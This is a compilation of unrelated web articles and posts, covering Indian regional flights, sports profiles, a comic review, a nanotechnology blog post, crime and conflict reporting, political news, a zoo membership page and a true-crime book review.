nominations from the call for contenders thread from earlier in the week. Don't just complain about the top five, let us know what your preferred alternative is—and make your case for it—in the discussions below.  The Hive Five is based on reader nominations. As with most Hive Five posts, if your favorite was left out, it's not because we hate it—it's because it didn't get the nominations required in the call for contenders post to make the top five. We understand it's a bit of a popularity contest, but if you have a favorite, we want to hear about it. Have a suggestion for the Hive Five? Send us an email at tips+hivefive@lifehacker.com!  Photos by John Karakatsanis, Kārlis Dambrāns, John Karakatsanis, Conan174, and Jari
-With Prime Minister Narendra Modi inaugurating the Alliance Air Shimla-Delhi flight at the scenic Jubbar Hatti airport atop a hill, 35 km from here, on Thursday morning, Himachal Pradesh tourism is set to get a boost.  The resumption of regular flights after five years is expected to attract high-end tourists, especially foreign visitors and business travellers, to Shimla and nearby hill stations. “Yes, we are hopeful that the regular flights from Delhi to Shimla will boost Himachal’s tourism industry,” DP Bhatia, liaison officer with the Shimla-based Oberoi Group of Hotels said.  Kingfisher Airlines was the last commercial airline to have operated regular flights between Delhi and Shimla till it was grounded on September 6, 2012.  With neighbouring Jammu and Kashmir seeing an escalation of violence, tourists are likely to opt for Shimla.  Turbulent past *The Delhi-Shimla flight service was suspended on September 16, 2012, when Vijay Mallya’s Kingfisher Airlines was grounded. Since then, the airport was being used for unscheduled and army flights. The army’s training command or ARTRAC is headquartered in Shimla  *The airport has a runway of 1,100 metres. In 2012, a portion of it sank due to soil erosion, reducing the length by 200 metres. The AAI spent Rs 100 crore to restore the runway at Himachal Pradesh’s first airport. The full length landing strip was thrown open in December 2015  *Though unscheduled flights between Shimla and Delhi resumed soon after December 2015, air carriers were not keen to resume commercial operations as it isn’t a financially viable route  “Starting regular flights from Shimla ahead of summer is good for the tourism industry otherwise tourists usually prefer Srinagar to Shimla,” says Harman Kukreja, the president of the Shimla Hotel and Restaurateur Association.  FLIGHT FIVE DAYS A WEEK  The Alliance Air flight will operate five days a week from Wednesday to Sunday. It will depart from Delhi at 6.10 am and arrive in Shimla at 7.25 am. The same day, it will depart from Shimla at 7.45 am and return to Delhi at 8.45 am.  Chief minister Virbhadra Singh and state Tourism Development Board vice-chairman Vijai Singh Mankotia raised the issue with Airport Authority of India (AAI) a number of times to restart the regular flight and to explore the possibility of expanding Shimla airstrip to facilitate landing of bigger aircraft.  Otherwise, this time again we are going lose business travellers to Srinagar,” Bhatia added.  Travel agent Bhanu Sood said air connectivity to Shimla will boost tourism. “Since there is no flight to Shimla, high-end tourists do not visit. To attract more foreigners, air connectivity is important,” he said.  “High-end tourists who visit shimla usually travel by taxi.” he said. It takes about seven to eight hours to travel to Shimla from Delhi by road. The fare for luxury bus from Shimla to Delhi is Rs 960 while a taxi charges Rs 4,500.  “Something is better than nothing. The government should step up efforts to start more flights not only to Delhi but other parts of the country,” he added.  Shimla is the erstwhile capital of British Raj and is famous with both domestic and foreign tourists.  First Published: Apr 27, 2017 11:23 IST
-You might not know it but New Zealand has a ban on commercial parallel importing of DVDs that were bought legally overseas. Australia doesn’t have a ban, and neither does the U.S. When the government previously reviewed the ban in 2008 their own studies showed that the argument for retaining the ban was “weak” but despite that it was maintained. Recently MBIE called for submissions [PDF] again on parallel importing and we responded [PDF].  The restriction limits our access to legitimate copies of works that our peers in the rest of the world are already discussing, dissecting, and deriving new ideas from. It leaves us behind the curve, but without an offsetting benefit to the New Zealand creative sector.  New Zealand artists can import movies for non-commercial use (e.g. from Amazon), albeit at an additional cost that a commercial importer could avoid through economies of scale. This effectively prices many films out of reach, or it puts additional costs on New Zealanders who will send their money offshore (with a corresponding loss of tax revenue to the New Zealand government, which supports New Zealand artists through entities such as the New Zealand Film Commission).  If the public cannot, for example, legally obtain current material in a timely manner, then they may become skeptical of copyright law as a whole – if there are no suitable legal options then people will be more likely to use illicit channels. Maintaining a ban on commercial parallel importing decreases the supply of legal alternatives which affects all artists, not just individuals seeking to create market segmentation by controlling distribution.  Read our full submission here [150KB, PDF].
-Ryan Davis has fond memories of Kyle Field.  Not only did Auburn upset then-No. 19 Texas A&M, 26-10, two years ago during Davis' only prior trip to the Aggies' palatial stadium, but it's also where he got his first college touch.  Then just a freshman, Davis was deployed on a trick play against Texas A&M, running a gadget play -- Woody -- that has been in coach Gus Malzahn's arsenal since his days as a high school coach. Davis, crouched behind the line of scrimmage as quarterback Jeremy Johnson took the snap and handed the ball off to him. Davis took off around left end for a 28-yard gain.  "My freshman year I do remember from the Woody play," Davis said. "That was my first collegiate touch, so that was a memory for me."  RELATED: Auburn challenges receivers to step up in November  Davis, who had just one other touch that season, figures to see plenty more this weekend when No. 14 Auburn (6-2, 4-1 SEC) travels to College Station to take on Texas A&M (5-3, 3-2) at 11 a.m. Saturday on ESPN. The 5-foot-9, 175-pound junior has emerged as a favorite target of quarterback Jarrett Stidham and one of the most reliable receivers in the country this season.  "I tell you, Ryan has really worked extremely hard," Malzahn said. "He's one of those guys that really wants the ball."  Davis leads in receptions (41), receiving yards (381) and touchdowns (three) this season as he has enjoyed a breakout junior campaign. While Davis hasn't been used much as a downfield threat, with most of his receptions coming on short routes, screens and swing passes, he has shown the ability to create big plays out of those passes.  He has become a safety valve of sorts for Stidham in the passing game, garnering nearly a quarter of all the team's targets this season (24.7 percent) while averaging 5.1 receptions per game. There's a reason for that sheer volume, of course, as Davis has proven himself to be a surehanded receiver who won't misplay balls or make mistakes.  Davis' 41 catches have come on 49 targets, giving him a catch rate of 85.7 percent, which is the best among Auburn's receivers with at least 10 targets this season. It's a mark that also ranks first among all SEC receivers with at least 10 targets, according to Football Study Hall's advanced statistical profiles.  Making Davis' catch rate even more impressive this season is the limited number of drops the receiver has had through eight games. According to CFB Film Room, entering the bye week Davis had the lowest drop rate -- 2.5 percent -- among all receivers in the SEC with at least 20 receptions this season.  "He attacks the ball," Malzahn said. "He's playing with a lot of confidence right now, and you can see that grow throughout this year. He's one of the more veteran guys we have in our receiving corps. A guy that's played a lot of ball. Just playing with a lot of confidence right now. I know our quarterback has a lot of confidence in him, too."  Tom Green is an Auburn beat reporter for Alabama Media Group. Follow him on Twitter @Tomas_Verde.
-I have always been a sucker for post-apocalyptic stories, and Just a Pilgrim by Garth Ennis fits that bill. It was originally released as a five-issue miniseries by Black Bull in 2001, but you can get the complete trade paperback now. Ennis, of Preacher and Punisher fame, combines a bunch of off-kilter ideas and character traits in this story, which makes the comic interesting, but strangely enough, also keeps it from being anything other than an amusing oddity.  The story takes place after a solar event called “the burn” scorches the Earth, destroys all plant life, and evaporates all the water. Apparently, the radiation also created some monsters. The setting is a quirky mix of an Eastwood spaghetti western and The Road Warrior. Pilgrim is Eastwood, kinda.  We are never given his name, other than Pilgrim. He’s an anti-hero that the reader can never quite be sure about, especially at the end. In typical Ennis fashion, Pilgrim is a religious fundamentalist with a wicked past and a penchant for grotesque violence, while quoting scripture. He assists a group of people traveling through the wasteland of the Atlantic seabed trying to find a rumored outpost where people can live in relative safety. On the way, a band of barbarians, with a leader who is the stereotypical pirate, becomes determined to kill, rape, and pillage the group. A young boy with the travelling group, Billy Shepherd, documents the trip in his diary. It’s high adventure on the dried up seas.  Some of the details just feel like they were meant to be shocking for the sake of being shocking. Pilgrim’s character is interesting. Is he a hero? An anti-hero? A villain? But the religious twist just feels like Ennis is taking unfair jabs at people of faith. Overall, it’s a quick, easy read with post-apocalyptic flair and adventure, but there’s not much weight to it.
-One more comment on the post by Mike Treder that I addressed last time. Recall he wrote  Techno-rapturists among our reading audience might be quick to respond with glib answers about miraculous nanotechnology solutions that are just around the corner …  To understand Foresight’s actual point of view on this issue (which is actually a lot closer to that of CRN, which Mike co-founded, than is implied in the quote), it is necessary to understand what the power of a mature nanotechnology is really like. I fear that this often gets lost in the detailed discussions of the proto-nanotech that we see today in the labs.  Here’s one simple way to say it: the accidental impact on climate of current technology is at least three orders of magnitude smaller than the intentional impact of a mature nanotechnology. If you are Really Worried about a roughly one watt per square meter influence on the Earth, I urge you to consider the Weather Machine which could interdict and/or redirect the full roughly one kilowatt /m^2 that’s available. Or, to judge by the diurnal warming and cooling rates, change the global surface temperature by 10C per day.  Now frankly, this worries me a lot more than natural climate change. My worry goes as follows: people are so worried about climate that they actually build a Weather Machine. Their models of how climate work are not as good as they think they are; let’s say that they are in roughly the same state of actual to perceived knowledge that the Federal Reserve was in macroeconomics in 1929 (or 2008, for that matter). They turn it on and there’s, well, a depression. Or multiple governments build them and have wars. Nuclear weapons are trivial by comparison.  Let me demonstrate. In the original Weather Machine post I claimed that a Weather Machine Mark II could “shoot down the moons of Mars.” I took a guess at the energy available, resolving power, etc and figured I was well on the safe side.  Just for fun I did the math and impressed myself a little bit. At closest approach, with an active spot of 10,000 km diameter (remember the WM is a cloud of balloons in the stratosphere with optical-wavelength antennas that are synchronized to be a coherent optical phased array), using violet light for the beam, you could focus a petawatt beam on a 2.7mm spot on Phobos. A petawatt is about a quarter megaton per second. 2.7mm is about a tenth of an inch. I.e. you could blow Phobos up, write your name on it at about Sharpie handwriting size, or ablate the surface in a controlled way, creating reaction jets, and sending it scooting around in curlicues like a bumper car.
-Minutes before the bullets started flying Tuesday night, Judith Heslop got an upset stomach and went to her bedroom to lie down.  Walking those 20 feet may have saved her life. Soon after she left the front room of her apartment, a barrage of gunfire tore through the 3700 block of Ulloa Street, killing three people and wounding two others. Five bullets crashed through Heslop’s front window.  “Last night was a night when the Almighty God took me up from here to spare me from these terrorists,” said Heslop, 51. “I don’t know what else to say they are.”  The latest mass shooting came less than a month after another fusillade injured five and killed one in Central City.  Tuesday's bloodletting left New Orleans’ homicide total for the year at 131 — exactly where it stood at the same point in 2015.  Several witnesses said a large group of people had gathered Tuesday night in front of a row of white shotgun doubles on Ulloa Street, which intersects with Tulane Avenue at one end of the 3700 block.  Police said the gunfire began about 9:25 p.m. One person died at the scene, according to police, and two more died at a hospital.  Two other victims, both male, were taken to a hospital in a private vehicle and remained there Wednesday, police said.  It was the city's first triple homicide of the year. The Orleans Parish Coroner’s Office identified those killed as Darome Hilton, a 34-year-old man; Glenquel Emerson, a 20-year-old woman; and Bobbie Basquine, a 22-year-old man.  Just as in the immediate aftermath of the recent Central City shooting, police said nothing publicly Wednesday about who the shooters were or what their motives might have been.  Detectives have privately concluded that the Central City shooting was an act of gang violence, but police have not commented on whether they believe gangs were involved in the latest burst of violence.  One of the victims died on Heslop’s porch. She sat inside for hours as his blood pooled outside and detectives with flashlights searched the street for shell casings.  Several groups of people gathered anxiously at the scene Tuesday night, waiting for news about whether their loved ones were injured or killed.  At one point a scuffle broke out nearby at Tulane and South Cortez Street. NOPD officers and State Police troopers intervened to break it up.  One resident of the block ended up stuck around the corner in her car, waiting for the all-clear before she could return home to her daughter, who had rushed back into the house when the gunfire began, counting about 13 shots.  “She was hysterical,” said the woman, who declined to give her name.  Heslop said big groups have been spending late nights drinking outside on Ulloa Street for months now, and that she’s complained to her landlord about it. Other neighbors said the same thing.  On June 29, police said, a man got out of an SUV with an AK-47 and shot a 25-year-old man in the 4100 block of Ulloa Street, on the other side of South Carrollton Avenue.  “I’ve lived here for three years, and this is the worst I’ve ever seen it,” Heslop said.  “After this shooting, I don’t know if I want to stay here,” said another neighbor, 66-year-old Catherine Myles. “I want out.”
-banjomik,  Thank you for the very awesome and extremely thoughtful monochrome silhouette of my photo 'Childhood Innocence' that I posted on r/itookapicture . I like you believe that it is complete bullshit that my photo received absolutely no karma because as you said in your kindly worded letter 'the composition, title, and subject matter were quite good'. The fact that you did not have nor could not find Patriots naval blue is of no consequence as this is the best piece of artwork I have to hang in my new apartment. Which brings me to why I have taken so long to put this picture up. I deeply regret you having to wait and wonder just how I received this photo as I know I would after waiting patiently for a few days. Well between moving to a new apartment and hour away and still having day to day business to conduct in my old stomping grounds as well as the slight motor vehicle accident that followed shortly after I apologize that you had to wait like this. I wish I had a photo of the beautiful photo on the wall, but unfortunately since getting engaged it seems only fair to ask my 'better half' where she would like it placed also. Once again banjomik thank you I very much so love the photo. Please continue to stalk my account as one day I will upload a photo of where this picture finally did end up on the wall. So to 'the most influential artist of his generation' thank you I look forward to seeing more of your art, hopefully on my walls!!  ~fourtwizzy  P.S. How do those metal hangers you included work? I don't want to 'hulk smash' your artwork!
-Family & Friends Premium  $249/year  Bring friends and family with you to the Zoo for free! Up to 3 named adults for a total of up to 10 people admitted per day to the Zoo. All basic benefits PLUS:  Kid Keeper/Nanny option allows you to send up to 6 children ages 2-11 to the Zoo with one adult caregiver when you cannot come yourself.  Four single, one-time passes to the Wildlife Carousel*  Priority registration for Camp Zoofari, Houston Zoo’s summer camp program  15% off purchases in the Houston Zoo Gift Shop (some restrictions apply)  Two additional guests may attend Zoobilee  *For memberships purchased online or by mail, carousel passes will arrive by mail with your membership cards. Passes must be presented at a membership or carousel window for redemption. Copies or photos of passes will not be accepted.  Family & Friends Premium Membership
-Tens of thousands marched over the weekend in demonstrations in the Valencian Country and the Balearic Islands to demand an end to discrimination against Catalan speakers ahead of key elections that could bring major political changes in both territories.  In Majorcan capital city Palma, some 20 civil society organizations and trade unions called upon institutions to protect and help foster the own language and culture of the islands as they marked the Language Day on Saturday 25th. The groups argue the current Balearic government, led by the Spanish conservative Popular Party (PP) has undermined the rights of Catalan speakers by marginalising the language in school, public administration and the media, which includes disabling the reception of Catalan-speaking TV channels from Catalonia.  According to Balearic newspaper Ara Balears, some 8,000 people gathered in Palma's downtown, and a further 12,000 demonstrated in a pro-Catalan language education march. In the islands of Minorca, Eivissa and Formentera, other gatherings for Catalan language and culture were also held.  Meanwhile on the same day, Cultural Action of the Valencian Country (ACPV) group got thousands of people to demonstrate through the streets of Valencia demanding an end to "corruption and negligence" by Valencian institutions. Protesters also called for change in linguistic and cultural policies, and demanded renewed action for Valencian -the popular name Catalan language receives in the Valencian Country.  Since 1995, the Valencian autonomous government has been in the hands of PP. As they have done in the Balearic Islands, Spanish conservatives have increasingly marginalized Catalan in public life. The Valencian government blocked Catalan TV reception in the Valencian Country in 2011, and it closed down the Catalan-language Valencian TV in 2013 arguing financial reasons. Meanwhile, the Valencian government has not met demands from tens of thousands to grant Catalan-medium education to pupils.  Opinion polls say PP could be ousted from government in both territories  The Balearic Islands and the Valencian Country are now in a defining moment since both territories are set to renew their autonomous parliaments on May 24th. If PP and potential government partner Citizens' Party (C's, Spanish centre-right nationalism) do not secure a combined absolute majority neither in Valencia nor in the Balearic Islands, then a pro-Catalan language leftist majority could emerge and bring change.  In the 60-member Balearic Parliament, recent polls say PP would still be the largest party, even if it would get 22 to 26 seats, down from current 35. C's is predicted to win 3 to 5, which could prove insufficient to keep the PP in government. Centre-left PSOE could get 13 to 17 seats, which could combine with Majorcan pro-sovereignty coalition MÉS (4 to 6), left-of-centre Spanish Podemos (7 to 10) and other minor parties to form a new multi-party government, more inclined to further the rights of Catalan speakers and to strengthen the role of language in public life.  In the 99-member Valencian Corts, a similar scenario is predicted by surveys. Weighed down by corruption, PP could lose half of its current seats according to a recent El País poll: 28 MPs, down from 55 it got in 2011. Not even a deal with C's (17 seats) could give them a majority. A leftist four-party alternative government could then be created if PSOE (23 seats), Podemos (17), Valencian sovereignist Compromís (9) and Spanish federalist United Left (5) strike a deal.  (Image: demonstrators in Valencia on Saturday 25th / photo by ACPV.)
-The Islamic State has issued a vicious and detailed call to "lone wolf" followers to stab, shoot, poison and run over Australians at iconic attractions including Bondi Beach and the MCG.  The latest exhortation from the terrorist group follows the death in Syria of convicted Australian terrorist Ezzit Raad, who was jailed in connection with the 2005 plot to blow up the MCG and features as the latest jihadist poster boy in a new magazine.  In its first edition of Rumiyah published overnight, the terrorist group calls for lone wolf attacks in Australia in a manner of detail not seen before in the group's publications.  "Light the ground beneath them aflame and scorch them with terror," it states, painting the attacks as the way to avenge the death of Raad.
-Like many other reviewers who have expressed enthusiastic praise for this book, I, too, have found the book to be a goldmine of detailed, comprehensive information about the 1996 killing of JonBenet Ramsey in Boulder, CO. Again and again, in issue after issue, the book follows a consistent methodology of collecting evidence, asking questions about the evidence, and gathering more evidence to resolve the questions. I found this basic but penetrating methodology to be truly impressive, particularly when combined with Mr. Kolar's thorough knowledge of the facts of the case from his own direct involvement as the lead investigator for the Boulder District Attorney's Office under DA Mary Lacy in 2005 and 2006.  The book describes various "outside intruder" theories of who killed JonBenet, including an elaborate multi-intruder scenario in Chapter 2 that seems to integrate the most commonly cited evidence very effectively (though not all the known evidence). The book describes and dissects the lone-pedophile theory promoted by Lou Smit and others. And the book explains the many problems with the repeated, adamant claims of an "outside intruder" by the Ramseys. The book's evidence seems to show rather conclusively that the Ramseys have allegedly engaged in a vigorous effort to direct the attention of investigators away from any family member, even though statistically (according to Kolar) fewer than 6% of child murders are committed by strangers, especially when the murdered child is found in the child's own home.  What I also found very striking in the facts described in this book is the depth and intensity of the seemingly never-ending conflicts between the Boulder DA's office (in support of an "outside intruder" theory) and the Boulder Police Department (in support of a "family member" theory, with John and/or Patsy Ramsey as the main suspects). The DA and the police never seem to have come together seriously in a joint search for the truth. We now know, for example (since 2013*), contrary to the impression given by DA Alex Hunter, that the grand jury in the case did issue a final report with two specific criminal charges recommended against both John and Patsy Ramsey -- not for murder, but (paraphrasing) for allowing their daughter to be placed in danger resulting in the child's death, and for assisting a murderer. Danger from whom? What murderer? Maybe one parent assisting the other? Those points surely must have been explained in the full grand jury report, but most of the report remains sealed at present (as far as I know). The grand jury's report wasn't publicly known to exist at the time Kolar's book was published in 2012, although I suspect Mr. Kolar himself probably knew, since page 218 of his book mentions that he had full access to the grand jury files during his relatively short term as lead investigator under DA Mary Lacey. (Mr. Kolar's website, ventuspublishing.com, has announced that a forthcoming new edition of the book will include discussion of the grand jury recommendations and also the latest DNA test results.)  Based on meticulous examination of the evidence, the book systematically rules out any outside intruder theory and also clears John and Patsy as possible killers of JonBenet. This leaves only one other family member to consider. Given the vicious nature of the strangulation, along with the blow to the head and a possible sexual assault, it may seem completely self-evident that there is no way such violence could have been perpetrated by a 9-year-old boy, JonBenet's older brother, Burke. But Kolar disagrees with this presumption, based on startling evidence presented in Chapter 33. The evidence strongly reinforces the suspicion about Burke, but the book also emphasizes that more evidence gathering is needed to confirm the suspicion -- evidence such as family medical records, particularly any records pertaining to psychiatric treatments that Burke reportedly received as a child. This kind of evidence wouldn't necessarily be made public; it could be limited to official investigators (possibly in a new grand jury setting) seeking to identify JonBenet's killer and the killer's motivation.  Chapters 35 and 37 examine the "touch DNA" evidence that allegedly showed involvement by an intruder. Those chapters identify the weaknesses in that DNA evidence, including the fact that there was non-family-member DNA from a total of six different unknown persons, all of whom would have to be considered suspects if touch DNA evidence can be relied upon (just as any discovery of fingerprints warrants further evidence gathering as to their origin and circumstances). Hence, the book hypothesizes the multiple intruder scenario presented in Chapter 2 -- but with all intruder theories thoroughly disproved by the other physical evidence described in other chapters, such as the lack of any forced entry and lack of clear evidence of entry or exit through the one unsecured window in the basement, along with the apparently fake ransom note, additional voices heard on Patsy's 911 call (after audio enhancement), compelling evidence against Lou Smit's stun gun theory, and so on.  Chapter 36 summarizes a "Theory of Prosecution" which Mr. Kolar expressed to the newest Boulder DA in 2011, although the full details of the theory evidently are too sensitive and probably horrendous in their implications to disclose publicly at present. Chapter 36 ends with a hint to readers that "the foundation for this theory is interspersed throughout this manuscript and I will have to leave it to your imagination at the moment."  Chapter 37 (p. 428) mentions that under Colorado law, children under the age of 10 are not considered to be capable of forming criminal intent and thus cannot be prosecuted for crimes, not even murder. Furthermore, page 428 also mentions that there is a statute of limitations in Colorado on charges such as accessory after the fact, that might have been applicable to John and Patsy Ramsey, but whose time limit is now long expired. In addition, Patsy Ramsey is no longer living, having died in 2006 from cancer. Thus, with no possibility of criminal charges against any of the "family member" suspects, what would be the point of forming a new grand jury -- and, for that matter, the point of publishing Mr. Kolar's book? The long Epilog following Chapter 38 explains Mr. Kolar's reasons in great detail. Chapter 37 also explains the reasons more succinctly as follows: "In our pursuit of truth and justice, not only for this little girl, but for all the other innocent people wrongly accused by her family, isn't it our responsibility as criminal investigators and prosecutors to go in search of it?"  * References regarding the grand jury report:  http://www.cnn.com/2013/10/25/justice/jonbenet-ramsey-documents/index.html  http://www.cnn.com/interactive/2013/10/us/jonbenet-ramsey-documents/?hpt=hp_t1
-LIMA (Reuters) - Peru President Pedro Pablo Kuczynski told Russian media that Pacific-rim countries can forge a new trade deal that includes China to replace the U.S.-led TPP that U.S. President-elect Donald Trump has vowed to scrap.  Peru's President Pedro Pablo Kuczynski waits to address the United Nations General Assembly in the Manhattan borough of New York, U.S. September 20, 2016. REUTERS/Eduardo Munoz  Kuczynski, speaking to Russia Today in an videotaped interview posted on the state-funded broadcaster’s website Friday, said Russia should also be part of any new bid to hammer out a tariff-slashing agreement for the Asia-Pacific region.  U.S. President Barack Obama had framed the 12-country Trans-Pacific Partnership, which excludes China and Russia, as a way for Washington to set trade rules for the fast-growing Pacific-rim region before Beijing does, part of his “pivot to Asia.”  Written so it cannot be implemented without the United States, the TPP appeared dead this week following Trump’s surprise victory and promises from Republican congressional leaders to defer to him on trade policy.  “It can be replaced with a similar deal, but without the United States,” Kuczynski, a fervent free-trade supporter said in the Russia Today interview. “I think it’d be best to have an Asia-Pacific deal that includes China, and includes Russia as well...it’d have to be a new negotiation.”  The comments came ahead of the annual Asia-Pacific Economic Cooperation summit that Peru will host next week in the first event to bring together heads-of state from China, Russia, the United States and Japan following Trump’s unexpected election.  China, leading talks on a deal seen as an alternative to the TPP - the Regional Comprehensive Economic Partnership (RCEP) - said this week that the Pacific-rim area needs a free trade deal as soon as possible and that it would seek support for one during the summit in Lima.  Kuczynski, a 78-year-old former Wall Street banker who lived in the United States so long he once held citizenship, reiterated his criticism of Trump’s proposal to build a wall along the U.S.-Mexico border and vowed to oppose it in the United Nations.  “The Berlin Wall lasted 40 years...why do we want another wall?” Kuczynski said, adding that Trump could trigger a “terrible crisis” in Mexico if he discourages trade between the two countries. “In Latin America we must show solidarity.”  Trump has said a new border wall would stem the flow of undocumented migrants and drugs from Mexico. He has called the TPP a “death blow” for manufacturing jobs and made his opposition to it a cornerstone of his campaign.
-WASHINGTON -- The Republican Party's new point man on food stamps, Rep. Mike Conaway (R-Texas), insists that he doesn't want to cut nutrition assistance benefits. Instead, Conaway is leading a multiyear review of the program, just to make sure it's the best it can be.  But it might not be up to Conaway. Republicans could push food stamp cuts this year through a parliamentary process known as "reconciliation."  The GOP has discussed using reconciliation as a way to repeal Obamacare or to do tax reform. Now, some Democrats and food stamp advocates are warning that the Republican-controlled Congress could use the obscure budget maneuver to reduce food stamp assistance.  Here's how it could happen: When Congress passes a budget resolution, as it is expected to do this spring, it sets spending levels for various federal agencies. Through what are known as reconciliation instructions, budget committee leaders can then instruct the committees overseeing those agencies to meet specified spending limits. So, in theory, the House and Senate budget committees could tell their respective agriculture committees to reduce spending by a certain percentage, and the committees would have to do it.  A coalition of nearly 400 food banks, labor groups and farm industry advocacy groups recently set a letter to top lawmakers on budget committees expressing concern that U.S. Department of Agriculture initiatives -- including crop insurance and the Supplemental Nutrition Assistance Program, better known as food stamps -- could get whacked through reconciliation.  In 2014, Congress overhauled federal nutrition assistance and agribusiness subsidies in a piece of legislation called a "farm bill" that was supposed to set agricultural policy for five years. The bill reduced overall federal spending on agriculture and nutrition programs by about 3 percent.  "These difficult cuts were made across the farm safety net, conservation programs, and nutrition programs," says the Feb. 23 letter from a range of groups, including the AARP, the American Farm Bureau Federation and the Bay Area Food Bank.  "The policy changes and reforms associated with these cuts are only now being fully implemented by the United States Department of Agriculture," the letter continues. "As such, no additional cuts to these programs should be considered, at least until these policies have time to take place and be thoroughly evaluated."  For Republicans, the advantage of the reconciliation process is that it could get through the Senate with a simple majority, meaning Democrats would be unable to filibuster. But it is extremely unlikely that a budget bill dismantling Obamacare would be able to avoid the president's veto, so cuts to food stamps are entirely theoretical at this point.  Still, the possibility of a reconciliation bill is on the radar. Last month, Conaway, who recently became chairman of the House Committee on Agriculture, and the committee's top Democrat asked in a joint letter to House Budget Committee Chairman Tom Price (R-Ga.), that programs reauthorized in the farm bill be left alone. The request suggested that the agriculture committee is worried that the budget committee might mandate further cuts through a reconciliation directive.  A spokesman for Price told The Huffington Post only that Republicans are working on their budget bill.  "You can see a scenario where SNAP gets the disproportionate amount of cuts in any kind of reconciliation," Rep. Jim McGovern (D-Mass.), the agriculture committee's most vocal defender of food stamps, said in an interview. "There are members in the majority here who do not like the program, do not understand the program, and are trying to find ways to get rid of it."  Bob Greenstein, president of the Center on Budget and Policy Priorities, a liberal D.C. think tank that opposes food stamp cuts, told HuffPost this week he thought the budget committees would be a likelier source of near-term policy changes than Conaway's review of nutrition assistance.  "I think there's a good chance that the Republican budget resolution that's adopted in April will have reconciliation instructions to the agriculture committee with the assumption that there's cuts in SNAP," Greenstein said.
-EDMONTON - The team captain peeled off her basketball kicks, slid her long-suffering feet into a soothing tub of ice and shared her wisdom about the stages of the journey the national women’s basketball team is navigating.  No one on the Pan Am Games gold medal-winning team is better situated for that task than Kim Gaucher, as Team Canada fine-tunes for the 10-team FIBA Americas Women’s Championship that runs from Aug. 9-16 at the Saville Centre, where a berth in the 2016 Summer Olympics is on offer to the champion.  “Kim has experienced it all,” head coach Lisa Thomaidis said at Tuesday’s Team Canada practice. “From a 16-year-old (in 2001) going to a World (Championship) qualifier, to an Olympian in London to a fifth-place finish at (2014) World’s, she’s been through everything.”  That includes low points, too, such as being on teams that failed to qualify for the 2004 and 2008 Summer Games. Gaucher, a continuous member of the national team since 2001, knows as well as any of her teammates, and better than most, how precious this opportunity is.  “The experience (and) leadership she brings ... is invaluable,” Thomaidis said. “We as coaches can relay some of that information, but when it comes from a teammate, it just means so much more.  “She’s been the cornerstone of this program for so long. To get to this point, we as a staff are so happy for her.”  Like the rest of her teammates, Gaucher has never experienced the thrill of playing an Olympic qualifying tournament at home, something that far outstrips the excitement of winning a gold medal at the Pan American Games.  “That didn’t actually feel hard,” Gaucher said, about the team collectively managing its emotions and not letting the Pan Am euphoria to get out of hand. “We kind of know what’s on the line here. We’ve been preparing for this and we were ready for it.  “They asked us after the tournament if we wanted to cut the nets down and we said, ‘No. We’re not done yet.’ This (Pan Am) isn’t what we’re playing for — it was a LOT of fun. We wanted to win gold, we wanted Canada to see what we can do. We wanted to send a message, in a way, to the other teams, as well.  “Like, ‘Hey, we’re good, we’re ready to play this summer. But this (FIBA Americas) is big. This tournament is what we want to win gold at.”  If they’re going to cut down a net, it will be on Aug. 16 after the FIBA Americas tournament final. So, after winning Pan Am gold, there were relatively brief celebrations, then some much-needed down time.  For the veteran guard from Mission, B.C., that meant a four-day visit to Ontario cottage country with her Toronto-based sister and other family members, followed by some down time in Connecticut, where her husband is from.  “I didn’t have any media or that kind of stuff, I was away from any distraction,” Gaucher said. “I was able to just wake up in the morning, work out, take a nap, work out. It was perfect.”  The team is back at its home base in Edmonton and back on task now.
-All photos and video by Robert King  They went to the airport when the massacres began.  Residents of Bangui, the capital of the Central African Republic, knew that French soldiers were stationed at Bangui M’Poko International Airport. And so when the latest round of fighting in the city began last week, they fled to the airport, hoping the soldiers would offer them protection. We landed at M’Poko five days later.  The latest round of sectarian fighting that has led CAR, one of the poorest countries in the world, to the brink of collapse began last March when Michel Djotodia and his loose rebel alliance (known as the Séléka) stormed Bangui and ousted President François Bozizé. Djotodia appointed himself president and tried to integrate the Séléka into the armed forces, but it didn’t work. Even Djotodia admitted that he didn’t have control over most of the rebels, many of whom are said to be mercenaries from neighboring Chad and Sudan.  Bands of mostly Muslim former Séléka rebels are now terrorizing the majority Christian country, raping and murdering civilians as they roam. Civilians have formed their own “anti-balaka” militias — balaka means machete or sword — to fight back. Meanwhile, many of those who aren’t fighting have sought refuge in the only places they consider safe: houses of worship. And the Muslim civilian minority face continuing reprisals—both looting and killing—by the anti-balaka forces after nine months of Séléka rule.  It’s important to note that many people with firsthand knowledge of the war have told us that the religious aspect of the conflict — Muslims vs. Christians— is overblown. They say this is not an ideological war, but rather a war of identity that goes back generations. Regardless of the root causes, the United Nations and other prominent NGOs speculate that the situation could become far worse.  “A Logistical Nightmare”  In fact, the situation may already be far worse outside the capital, far from the relative protection of the French military and the medical help provided by NGOs. But the country is so large and the population so spread out, the true extent of the violence is unknown. Many villages lie deserted, their residents having fled to the bush to escape. Malaria and malnutrition have followed them.  “It’s a logistical nightmare,” said Romain Gaduchon, who organized a recent European Community Humanitarian Office ECHO Flight into the country to deliver aid. He described the CAR as the least accessible country in Africa, owing to its lack of infrastructure and seaports, and its dense jungle.  In addition to delivering aid, the ECHO flight also delivered otherwise stranded journalists — including us. Halfway through the flight, we received a briefing from one of the ECHO employees: The area around the airport was not secure. The night before, two French troops had been killed. In response, Christians had looted Muslim neighborhoods and killed civilians.  As we landed, we could see makeshift shanty towns and IDP (internally displaced persons) camps surrounding the perimeter of the airport. French soldiers were everywhere. Refugees held signs denouncing Djotodia as they chanted, “Thank you President Hollande. Thank you French army.”  French journalists at the airport told us that sentiment toward the media had seemingly changed overnight. That day, while in Muslim neighborhoods, the journalists received glares, and some civilians made throat-slitting gestures at them.  When we ventured out the following day, however, we were received warmly. We traveled to the Monastery of Bliss, which, like many places of worship in the city, had become an informal IDP camp. Father Yeelen Waongo told us there were 15,000 people staying in his compound. He blamed the fighting solely on politics, saying that religious fervor is being manipulated by people using it to gain power.  Emmanuel Teka, a law student seeking refuge in the monastery, blamed the problems on the current president. “The French troops need to get the weapons away from the Séléka and the anti-balaka,” he said. And what of revenge? “It’s not good, but people here want to do it.”  Teka said it was up to the president to foster peace. Elsewhere in the camp, women and children sang songs calling for his removal.  “We've Always Had Peace”  Bangui is still very much a city on the edge, though the situation appears to have stabilized somewhat today. Shops are still closed, but people are walking the streets and going about their normal lives, which is a big change from the previous week. We saw few Séléka forces. Some young men on the street called out “Peace, peace!”  That said, at a French checkpoint in the dangerous PK 12 neighborhood, things 